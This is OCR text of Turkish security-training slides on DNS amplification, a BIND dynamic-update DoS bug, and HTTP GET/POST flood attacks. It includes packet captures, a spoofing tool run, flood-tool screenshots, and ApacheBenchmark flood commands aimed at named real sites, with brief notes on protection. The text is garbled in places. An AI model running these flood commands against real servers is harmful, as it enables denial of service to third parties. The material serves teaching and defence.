bytedan daha buyuk olabilir

* 60 byte(dns istegi) gonderip cevap olarak 4000 byte
alinabilir(cevap=56X istek)

 10Mb baglantidan 10X65=650 Mbit trafik
uretilebilir. 1 SN

 Koruma: recursive dns sorgulari ve ed ‘
ayarlanmali
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DNS Amplification DOS

e T E———

DNS Amplification Saldirisi: (365 amplification )

DNS istegi
SRC: Kurban EDNS Cevabi
(60 byte) (4000 byte)
7
DOS Yapan

Internette herkese acik dns sunucu sayisi ~600,000
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20 Kat Trafik Arttirimi

- T —————

[rootBseclabs ~1# tcpdump -i bge0 —tn —v host 178.18.197.18 and udp
tcpdump: listening on bge0O, link-type EN10MB (Ethernet), capture size 96 bytes

IP {tos O0x0, ttl 55, id 9098, offset 0, flags [nonel, proto UDP (17), length 61)
178.18.197 .18 _.5468h > 91 .93.119.87.53: 2334+ TXT? test.bga.com.tr. (33)

IP {tos 0x0, ttl 64, id 63670, offset 0, flags [nonel, proto UDP (17), ldmgth 428,
91 .93.119.87.93 > 178.18.197.18 _.94686: 2334%-| 3/0/0 test.bga.com.tr \TXT[ldoma

[rootBdepdep huzeyfel# dig TXT test.bga.com.tr Ensi.bga.com.tr
;5 Truncated, retrying in TCP mode.

; 42> LG 9.3.6-P1-RedHat-9.3.6-4.P1.e15_4.2 <{<{>> TXT test.bga.com.tr Ensl.bga.com.tr
;5 global options: printcmd

;; Got answer:

;3 —»>>HEADER<<- opcode: QUERY, status: HOERROR, id: 44401

;5 flags: gr aa rd; QUERY: 1, ANSWER: 4, AUTHORITY: 2, ADDITIONAL: 1

;; QUESTION SECTION:
;test .bga.com.tr. IN TXT

;3 ANSWER SECTION:

test .bga.com.tr. 1440 IN TXT "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbb
ccccccccccccccccccccccccesdasdasd™

test.bga.com.tr. 1440 IN TXT "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbb
cccccccococccocccee

test.bga.com.tr. 1440 IH TXT "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbb
CCCCCCCCCCCCCCCCCCCCCCCCOCXXVeVl™

test .bga.com.tr. 1440 IN TXT "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbb

cccccccccccccccccccocccasdasdsddy ™

;; AUTHORITY SECTION:
bga.com.tr. 8b40 IN NS nsl.gezginler.net.
bga.com.tr. 8640 IN NS nsl.bga.com.tr.

;3 ADDITIONAL SECTION:
nsl.bga.com.tr. 1440 IN A 91.93.119.87

;5 Huery time: 14 msec

SERVER: 91 .93 .119.874#53(91.93.119.87)
53 WHEN: Wed Jul 21 17:08:599 2010

MSG SIZE rcwvd: 594
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Uygulama|DNS Amplification DOS

¢ 8888 yerlne [root@depdep alicel]# ./alice 8.8.8.8 1

alice (santa's little dns spoofer) v0.1l by ctrlAltca

Kurban IP adresi

verilmeli EEEEE D

.dca > 195.175.39.39.domain: 34583+ A? test.bga.com.tr. (33)
.XSIP-network > 195.175.39.39.domain: 45847+ A? test.bga.com.tr. (33)
.taligent-Tm > 195.175.39.39.domain: 29975+ A? test.bga.com.tr. (33)
.cadis-2 > 195.175.39.39.domain: 58647+ A? test.bga.com.tr. (33)
.dbsa-Tm > 195.175.39.39.domain: 62743+ A? test.bga.com.tr. (33)
.ms-sna-server > 195.175.39.39.domain: 55063+ A? test.bga.com.tr. (33)
.cuillamartin > 195.175.39.39.domain: 49687+ A? test.bga.com.tr. (33)
.eicon-server > 195.175.39.39.domain: 52503+ A? test.bga.com.tr. (33)
.zion-1m > 195.175.39.39.domain: 42519+ A? test.bga.com.tr. (33)
.dbsa-Tm > 195.175.39.39.domain: 34839+ A? test.bga.com.tr. (33)
.telefinder > 195.175.39.39.domain: 28951+ A? test.bga.com.tr. (33)
.afs > 195.175.39.39.domain: 65303+ A? test.bga.com.tr. (33)
.iclpv-nls > 195.175.39.39.domain: 60183+ A? test.bga.com.tr. (33)
.vpjp > 195.175.39.39.domain: 60695+ A? test.bga.com.tr. (33)
.timbuktu-srvl > 195.175.39.39.domain: 32791+ A? test.bga.com.tr. (33)
.bytex > 195.175.39.39.domain: 57367+ A? test.bga.com.tr. (33)
.netware-csp > 195.175.39.39.domain: 41239+ A? test.bga.com.tr. (33)
.iclpv-sas > 195.175.39.39.domain: 42519+ A? test.bga.com.tr. (33)
.pegboard > 195.175.39.39.domain: 33047+ A? test.bga.com.tr. (33)

IP .nms_topo_serv > 195.175.39.39.domain: 30743+ A? test.bga.com.tr. (33)

. e IP . i1 195.175.39.39.d in: 51735+ A? test.bga. tr. (33
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IF
IP
IF
IP
IF
IP
IP
IF
IP
IF
IP
IF
IFP
IP
IF
IP
IF
IP
IF

hmmmmmmmmmmmmmmmmmmmmm
0 00 00 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 0O 00 00 09 00
10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
lo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00



BIND Dynamic Update DoS
GO

e |SC bind 2009 Temmuz

* Bu tarihe kadarki tim bind sirimlerini etkileyen
“basit” ama etkili bir arac

* Tek bir paketle Tirkiye’nin internetini durdurma(!)
— Tum buyuk isp’ler bind kullaniyor
— Dns=udp=src.ip.spoof+bind bug

* %78 dns sunucu bu zaafiyete acik
— Sistem odalarinda nazar boncugu takihJ
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Web Sunuculara Yonelik DOS Saldirilar

GO
* Web sunucularina yonelik DOS/DDOS saldirilarinda
amac sayfanin islevsiz kalmasi ve o sayfa Gzerinden
verilen hizmetlerin kesintiye ugratiimasidir.

 Web sunuculara yonelik yapilacak DOS saldirilari
temelde iki tirden olusur;
— kaba kuvvet saldirilari(Flood)

— tasarimsal/yazilimsal eksikliklerden kaynaklanan
zaafiyetler
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GET/POST Flood Saldirilari

GO
* Synflood icin 6nlem alinan yerlere karsi denenir

* Daha cok web sunucunun limitlerini zorlayarak
sayfanin ulasilamaz olmasini saglar

* Onlemesi Synflood’a gére daha kolaydir
— HTTP icin IP spoofing “pratik olarak” imkansizdir.

e Rate limiting kullanilarak rahatlikla 6nlenebilir
* False positive durumu
e #ab —n 100000 —c 5000 http://www.google.com/
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Kaba Kuvvet(Flood) Saldirilari

GO
* Bu tip saldirilarda sunucu lGzerinde ne calistigina
bakilmaksizin es zamanli olarak binlerce istek
gonderilir ve sunucunun kapasitesi zorlanir.

e Literatirde adi “GET Flood”, “POST Flood” olarak
gecen bu saldirilar iki sekilde yapilabilir.

— Tek bir bilgisayardan
—. 20y S0 aAa0SYf SNRSYOS&OAVY
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HTTP Flood Test Araclari

ST T TSSSS——

File Options Help
DOSHTTP
o e t St re S S HTTP Flood Denial of Service (DoS) Testing Tool
Target URL
User Agent
. A b IMOZI"a/&D (compatible; MSIE 7.0a; Windows NT 5.2; S¥1) _:_]
Sockets Requests
|500 L] ltonhnuous L] Verify URL | Start Flood Close |

Basit bir adsl hattindan yapilan deneme ve sonuclari

* Siege

Date: 1205 2009 07.01.06
Target URL
Tasget Port &0

Duration 33 seconds

« DOSHTTP
Resporues Received: 33

L] L
e Skipfish
Attack type Slow POST 7
* Jmeter "
URL http:/ fwowenwiproactiverisk.com

General parameters
Connections

Requests Lost 9967%

Request Rate: 302,97 requests per second

Q HTTP attack (zlow headers and slow POST attacks) EI@

Test type and destination

Connection rate 50

Timeout (s) 100.0 Random

User agent Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1
Diagnostics

Attack-specific parameters
Content length 1000000 Random

POST field

Randomise payload

Quit | Run attack |
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Ab(ApacheBenchmark)

GO

e POST Flood

— #ab -c 100 -p postl.txt -T application/x-www-form-
urlencoded -n 10000 -r -
q http://blog.lifeoverip.net/searcme.php

e GET Flood

— #ab -c 100 -n 10000
http://blog.lifeoverip.net/searcme.php
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DDoS-BotNet Calisma Grubu
GO

DDOS-BOTNET

 DDoS&BotNet konusundaki bilin¢ dizeyini arttirmak ve
bu konudaki gelismeleri paylasmak amaciyla 2010
vilinda kurulmustur.

— E-posta listesi ve calisma grubu olarak faaliyet
gostermektedir.

* http://www.lifeoverip.net/ddos-listesi/ adresinden lye
olabilirsiniz.
— Sadece kurumsal katilima aciktir.
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NetSec Ag Ve Bilgi Guvenligi Toplulugu
GO

* Turkiye'nin en genis katilimh bilgi glivenligi e-posta

listesi ve toplulugu
~~950 lye |~ Sec
 Ucretsiz Uye olabilirsiniz.

e Guvenlik dinyasinda yayinlanan dnemli haberler,
glvenlik yamalari ve bircok teknik konuda

tartisma...

Ag ve Bilgi Giivenligi Toplulugu

 Uyelik icin
— http://www.lifeoverip.net/netsec-listesi/
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Bilgi GUvenligi AKADEMISI

Uygulamal TCP/IP Giivenligi i Web Uygulama Giivenligi Egitimi

BiLGI GOVENLIGI

RS A AKADEMISI Beyaz $apkah Hacker Egitimi Snort Saldin Engelleme Sistemi Egitimi

Network Pentest Egitimi Firewall/IPS Testleri Egitimi

ANASAYFA EGITIMLER EGIiTiM NOTLARI MAKALELER DANISMANLIK NETSTRESS BLOG HAKKIMIZDA iLETiSiM

Egitim & Etkinlik Takvimi

Geligmelerden Haberdar Olun!

Biiltenimize abone olun, yeni acilan egitimlerden
ve geligmelerden haberdar olun.

ONEMLI DUYURULAR Ad Soyad

E-posta Adresi

Gonder
Uygulamali Ag Guvenligi pfSense Giivenlik Duvari Bilgisayar Aglarinda Adli
Egitimi 7-9 Mart Egitimi 19-20 Mart 2011 Biligim Analizi Egitimi 23-26 Bilgi Giivenligi AKADEMISi BLOG
2011(Ankara) 19-20 Mart 2011 tarihlerinde $ubat 2011
Uygulamali Ag Giivenlidi Editimi, hizlandinimig pfSense editimi Giiniimiiz sosyal yagamin parcasi * Bilgisayar Aglaninda Adii Biligim Analizi Egitimi
giiniimiiz iletisim/internet dizenlenecektir. Turkiye'de haline gelen siber dinyaya 23-26 Subat 2011
kavraminin temelini olusturan alaninda ilk olan bu editimde klasik bagimlilik arttikca bu durum sug * LASG(Linux Ag Ve Sistem Giivenligi EGitimi)
TCPIP protokollerinde bulunan pfSense ozelliklerinin yaninda odaklaninin da dikkatini cekmis ve Igerigi
tasanmsal giivenlik zaafiyetlerinin pfSense'in kurumsal ortamlarda biligim sistemleri suc araci olarak « Beyaz Sapkall Hacker Egitimi 14-18 Mart
uygulamali olarak degerlendirildigi kullaniimasi icin gerekli kullaniimaya baglanmigtir. 2011(Ankara)
workshop tadinda bir egitimdir. bilegenlerin « BGA-Subat Ayi Egitim & Etkinlikleri

« Apache Htaccess Giivenlik Testleri
* DDoS Saldinlan, Korunma Yollan ve BotNet
Sorunu Etkinligi

Giincel Editimler

Uygulamal Ag Glivenligi DDoS$ Saldirilar ve Beyaz Sapkali Hacker ¢ Uygulamah AG Gisventigi Egitimi 7-9 Mart

PATEa % Qoo SR 2011(Ankara
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